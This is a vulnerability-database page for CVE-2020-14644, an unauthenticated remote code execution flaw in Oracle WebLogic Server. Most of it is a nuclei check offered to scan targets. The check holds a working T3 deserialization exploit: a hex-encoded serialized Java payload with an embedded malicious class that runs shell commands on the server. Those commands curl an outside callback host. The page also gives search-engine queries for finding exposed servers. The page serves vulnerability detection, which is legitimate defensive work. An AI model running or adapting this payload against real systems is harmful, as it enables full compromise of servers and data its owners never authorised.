HexBrain

Browse / CVEs / CVE-2020-14644

CVE-2020-14644· oracle / oracle weblogic server· CWE-502

Oracle WebLogic Server - Remote Code Execution (Insecure Deserialization)

Exploited in the wild. Listed by CISA on 2024-09-18; known to be used by ransomware.

criticalseverity
9.8CVSS score
94.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0 contain a remote code execution caused by unauthenticated network access via IIOP and T3, letting attackers take over the server, exploit requires network access.

Impact

Attackers can fully compromise the server, leading to data breach, service disruption, and potential control over the system.

Fix

Apply the latest security patches provided by Oracle for affected versions.

How to confirm it

Positive when: contains(interactsh_protocol, "dns") AND contains in interactsh_request "rce-linux" or "rce-window"

Run it with nuclei: nuclei -id CVE-2020-14644 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-14644

info:
  name: Oracle WebLogic Server - Remote Code Execution (Insecure Deserialization)
  author: hnd3884
  severity: critical
  description: |
    Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0 contain a remote code execution caused by unauthenticated network access via IIOP and T3, letting attackers take over the server, exploit requires network access.
  impact: |
    Attackers can fully compromise the server, leading to data breach, service disruption, and potential control over the system.
  remediation: |
    Apply the latest security patches provided by Oracle for affected versions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14644
    - https://www.oracle.com/security-alerts/cpujul2020.html
    - https://www.tenable.com/cve/CVE-2020-14644
    - https://github.com/0xkami/cve-2020-14644
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14644
    cwe-id: CWE-502
    epss-score: 0.94548
    epss-percentile: 0.99855
    cpe: cpe:2.3:a:oracle:weblogic_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: oracle
    product: oracle_weblogic_server
    affected-versions:
      - "12.2.1.3.0"
      - "12.2.1.4.0"
      - "14.1.1.0.0"
    shodan-query:
      - cpe:"cpe:2.3:a:oracle:weblogic_server"
      - product:"WebLogic"
      - http.server:"WebLogic"
      - port:7001
    fofa-query: product="WebLogic" || header="WebLogic Server"
  tags: cve,cve2020,weblogic,rce,deserialization,oracle,kev,vkev,vuln

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const net = require('nuclei/net');

      const address = Host + ":" + Port;
      const CMD_LINUX = "curl http://rce-linux." + oast;
      const CMD_WIN = "cmd.exe /c powershell curl http://rce-window." + oast;

      function decimalToFixedBytes(num, byteLength = 2) {
          const arr = new Uint8Array(byteLength);
          for (let i = byteLength - 1; i >= 0; i--) {
              arr[i] = num & 0xFF;
              num = num >> 8;
          }
          return arr;
      }

      function buildLengthHex(hexStr, cmdLinux) {
          var num = parseInt(hexStr, 16);
          var value = num + cmdLinux.length - 19;
          var buf = bytes.Buffer();
          buf.Write(decimalToFixedBytes(value));
          return buf.Hex();
      }

      function javaString(cmd) {
          var buf = bytes.Buffer();
          buf.Write(decimalToFixedBytes(cmd.length));
          buf.WriteString(cmd);
          return buf.Hex();
      }

      function sendExploit(payload) {
          s1 = net.Open('tcp', address);
          s1.SendHex("743320372e302e302e300a41533a31300a484c3a31390a0a");
          s1.Recv(4096);
          s1.SendHex(payload);
      }

      sample = "00000767086501ffffffffffffffff00000000041000aced000573720033636f6d2e74616e676f736f6c2e696e7465726e616c2e7574696c2e696e766f6b652e52656d6f7465436f6e7374727563746f72cd9aec465bdeea770200025b00086d5f616f417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000c6d5f646566696e6974696f6e7400334c636f6d2f74616e676f736f6c2f696e7465726e616c2f7574696c2f696e766f6b652f436c617373446566696e6974696f6e3b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000001740013636d642e657865202f632063616c632e65786573720031636f6d2e74616e676f736f6c2e696e7465726e616c2e7574696c2e696e766f6b652e436c617373446566696e6974696f6e25cbbe8bf700da9a0200025b00096d5f6162436c6173737400025b424c00046d5f69647400314c636f6d2f74616e676f736f6c2f696e7465726e616c2f7574696c2f696e766f6b652f436c6173734964656e746974793b7870757200025b42acf317f8060854e0020000787000000365cafebabe0000003400300a0009001b0a001c001d0a0009001e0a001c001f0700200700210a0006002207002e0700240100063c696e69743e010015284c6a6176612f6c616e672f4f626a6563743b2956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010001650100154c6a6176612f6c616e672f457863657074696f6e3b010004746869730100194c636f6d2f737570657265616d2f4576696c4f626a4d696e3b010003636d640100124c6a6176612f6c616e672f4f626a6563743b01000d537461636b4d61705461626c6507002e07002407002001000a536f7572636546696c6501000f4576696c4f626a4d696e2e6a6176610c000a00250700260c002700280c0029002a0c002b002c0100136a6176612f6c616e672f457863657074696f6e01001a6a6176612f6c616e672f52756e74696d65457863657074696f6e0c000a002d010017636f6d2f737570657265616d2f4576696c4f626a4d696e0100106a6176612f6c616e672f4f626a6563740100032829560100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b010008746f537472696e6701001428294c6a6176612f6c616e672f537472696e673b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b010018284c6a6176612f6c616e672f5468726f7761626c653b2956010038636f6d2f737570657265616d2f4576696c4f626a4d696e24333230323235413446453031354237464243363231433630333743443746353001003a4c636f6d2f737570657265616d2f4576696c4f626a4d696e2433323032323541344645303135423746424336323143363033374344374635303b0021000800090000000000010001000a000b0001000c00000090000300030000001d2ab70001b800022bb60003b6000457a7000d4dbb0006592cb70007bfb100010004000f001200050003000d0000001a00060000000400040006000f00090012000700130008001c000a000e00000020000300130009000f001000020000001d0011002f00000000001d0013001400010015000000130002ff001200020700160700170001070018090001001900000002001a7372002f636f6d2e74616e676f736f6c2e696e7465726e616c2e7574696c2e696e766f6b652e436c6173734964656e746974797d46c174c0f428390200034c000b6d5f73426173654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a6d5f735061636b61676571007e000e4c000a6d5f7356657273696f6e71007e000e787074000a4576696c4f626a4d696e74000c636f6d2f737570657265616d74002033323032323541344645303135423746424336323143363033374344374635301000aced0005737200307765626c6f6769632e73656375726974792e61636c2e696e7465726e616c2e41757468656e74696361746564557365725cf8e9684f73eb7b0200074900096c6f63616c506f7274420003716f734a000974696d655374616d704c000b696e6574416464726573737400164c6a6176612f6e65742f496e6574416464726573733b4c000c6c6f63616c4164647265737371007e00014c00046e616d657400124c6a6176612f6c616e672f537472696e673b5b00097369676e61747572657400025b427870ffffffff650000019a427c2ca570707400087765626c6f676963757200025b42acf317f8060854e00200007870000000107ab7e36a3286284f83c47cbd65f88cd31000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771c01000000000000000100093132372e302e302e3183b5795200000000781000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707711000000000000000001000000000000000078";

      // payload
      payload_linux = sample.replace("0013636d642e657865202f632063616c632e657865", javaString(CMD_LINUX)).replace('0767', buildLengthHex('0767', CMD_LINUX));
      payload_win = sample.replace("0013636d642e657865202f632063616c632e657865", javaString(CMD_WIN)).replace('0767', buildLengthHex('0767', CMD_WIN));

      // send exploit
      sendExploit(payload_linux)
      sendExploit(payload_win)

    args:
      Host: "{{Host}}"
      oast: "{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
      - type: word
        part: interactsh_request
        condition: or
        words:
          - "rce-linux"
          - "rce-window"
    extractors:
      - type: regex
        part: interactsh_request
        regex:
          - 'rce-(linux|window)[^\s]*'

References

Use this check only on systems you are authorised to test. Where the data comes from